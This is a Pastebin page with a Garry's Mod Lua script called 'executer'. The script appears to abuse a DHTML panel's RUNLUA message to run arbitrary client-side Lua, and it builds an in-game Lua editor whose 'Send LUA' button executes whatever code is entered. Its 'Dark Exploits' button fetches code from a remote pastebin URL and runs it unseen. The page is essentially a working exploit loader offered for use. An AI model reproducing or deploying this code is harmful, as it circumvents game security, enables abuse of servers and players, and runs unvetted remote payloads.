Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Console Command: executer / Консольная команда: executer
- local _=vgui.Create'DHTML'_:SetAllowLua(!!1)return _:ConsoleMessage[[RUNLUA: function executer() local PANEL = {} PANEL.URL = "http://metastruct.github.io/lua_editor/" PANEL.COMPILE = "C" local javascript_escape_replacements = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'", } function PANEL:Init() self.Code = "" self.ErrorPanel = self:Add("DButton") self.ErrorPanel:SetFont('BudgetLabel') self.ErrorPanel:SetTextColor(Color(255,255,255)) self.ErrorPanel:SetText("") self.ErrorPanel:SetTall(0) self.ErrorPanel.DoClick = function() self:GotoErrorLine() end self.ErrorPanel.DoRightClick = function(self) SetClipboardText(self:GetText()) end self.ErrorPanel.Paint = function(self,w,h) surface.SetDrawColor(255,50,50) surface.DrawRect(0,0,w,h) end self:StartHTML() end function PANEL:Think() if self.NextValidate && self.NextValidate < CurTime() then self:ValidateCode() end end function PANEL:StartHTML() self.HTML = self:Add("DHTML") self:AddJavascriptCallback("OnCode") self:AddJavascriptCallback("OnLog") self.HTML:OpenURL(self.URL) self.HTML:RequestFocus() end function PANEL:ReloadHTML() self.HTML:OpenURL(self.URL) end function PANEL:JavascriptSafe(str) str = str:gsub(".",javascript_escape_replacements) str = str:gsub("\226\128\168","\\\226\128\168") str = str:gsub("\226\128\169","\\\226\128\169") return str end function PANEL:CallJS(JS) self.HTML:Call(JS) end function PANEL:AddJavascriptCallback(name) local func = self[name] self.HTML:AddFunction("gmodinterface",name,function(...) func(self,HTML,...) end) end function PANEL:OnCode(_,code) self.NextValidate = CurTime() + 0.2 self.Code = code end function PANEL:OnLog(_,...) Msg("executer: ") print(...) end function PANEL:SetCode(code) self.Code = code self:CallJS('SetContent("' .. self:JavascriptSafe(code) .. '");') end function PANEL:GetCode() return 'local me=Entity('..LocalPlayer():EntIndex()..') local trace=me:GetEyeTrace() local this,there=trace.Entity,trace.HitPos '..self.Code end function PANEL:SetGutterError(errline,errstr) self:CallJS("SetErr('" .. errline .. "','" .. self:JavascriptSafe(errstr) .. "')") end function PANEL:GotoLine(num) self:CallJS("GotoLine('" .. num .. "')") end function PANEL:ClearGutter() self:CallJS("ClearErr()") end function PANEL:GotoErrorLine() self:GotoLine(self.ErrorLine || 1) end function PANEL:SetError(err) if !IsValid(self.HTML) then self.ErrorPanel:SetText("") self:ClearGutter() return end local tall = 0 if err then local line,err = string.match(err,self.COMPILE .. ":(%d*):(.+)") if line && err then tall = 20 self.ErrorPanel:SetText((line && err) && ("Line " .. line .. ": " .. err) || err || "") self.ErrorLine = tonumber(string.match(err," at line (%d)%)") || line) || 1 self:SetGutterError(self.ErrorLine,err) end else self.ErrorPanel:SetText("") self:ClearGutter() end local wide = self:GetWide() local tallm = self:GetTall() self.ErrorPanel:SetPos(0,tallm - tall) self.ErrorPanel:SetSize(wide,tall) self.HTML:SetSize(wide,tallm - tall) end function PANEL:ValidateCode() local time = SysTime() local code = self:GetCode() self.NextValidate = nil if !code || code == "" then self:SetError() return end local errormsg = CompileString(code,self.COMPILE,false) time = SysTime() - time if type(errormsg) == "string" then self:SetError(errormsg) elseif time > 0.25 then self:SetError("Compiling took too long. (" .. math.Round(time * 1000) .. ")") else self:SetError() end end function PANEL:PerformLayout(w,h) local tall = self.ErrorPanel:GetTall() self.ErrorPanel:SetPos(0,h - tall) self.ErrorPanel:SetSize(w,tall) self.HTML:SetSize(w,h - tall) end vgui.Register("lua_executer",PANEL,"EditablePanel") local menu = vgui.Create('DFrame') menu:SetSize(ScrW()/2,ScrH()/2) menu:SetTitle(' LUA Executer') menu:Center() menu:SetSizable(true) menu:MakePopup() menu:ShowCloseButton(false) menu.Paint = function(self,w,h) surface.SetDrawColor(30,30,30) surface.DrawRect(0, 0, w, 25) surface.SetDrawColor(0,0,0) surface.DrawRect(0, 25, w, h-25) end local clos = vgui.Create("DButton", menu) clos:SetSize(40,23) clos:SetText("") clos.Paint = function(self,w,h) surface.SetDrawColor(196,80,80) surface.DrawRect(0,0,w,h) surface.SetFont("marlett") local s,s1 = surface.GetTextSize("r") surface.SetTextPos(w/2-s/2,h/2-s1/2) surface.SetTextColor(255,255,255) surface.DrawText("r") end clos.DoClick = function() menu:SetVisible(!menu:IsVisible()) end local ed = vgui.Create('lua_executer', menu) ed:SetPos(5, 55) menu.PerformLayout = function(self, w, h) clos:SetPos(w-41, 1) ed:SetSize(w-10, h-60) end local offset = 5 local function CreateBtn(wide, text, icon, fn) local mt = Material(icon) local btn = vgui.Create('DButton', menu) btn:SetText('') btn.Paint = function(self,w,h) if self.Hovered then if self.Depressed then surface.SetDrawColor(90,90,90) else surface.SetDrawColor(70,70,70) end else surface.SetDrawColor(40,40,40) end surface.DrawRect(0,0,w,h) surface.SetDrawColor(255,255,255) surface.SetMaterial(mt) surface.DrawTexturedRect(5,h / 2 - 8,16,16) draw.SimpleText(text,'BudgetLabel',26,h / 2,Color(255,255,255),0,1) end btn.DoClick = fn btn:SetSize(wide, 20) btn:SetPos(offset, 30) offset=offset + wide + 5 end CreateBtn(115, "Send LUA", 'icon16/arrow_down.png', function() local code = ed:GetCode() RunString(code) end) CreateBtn(120, "Dark Exploits", 'icon16/arrow_down.png', function() RunString( http.Fetch('https://pastebin.com/raw/CiHNV9HM',RunString) ) end) MsgC(Color(255, 155, 55), "Loading end!\n") end concommand.Add('executer', executer) ]]
Add Comment
Please, Sign In to add comment
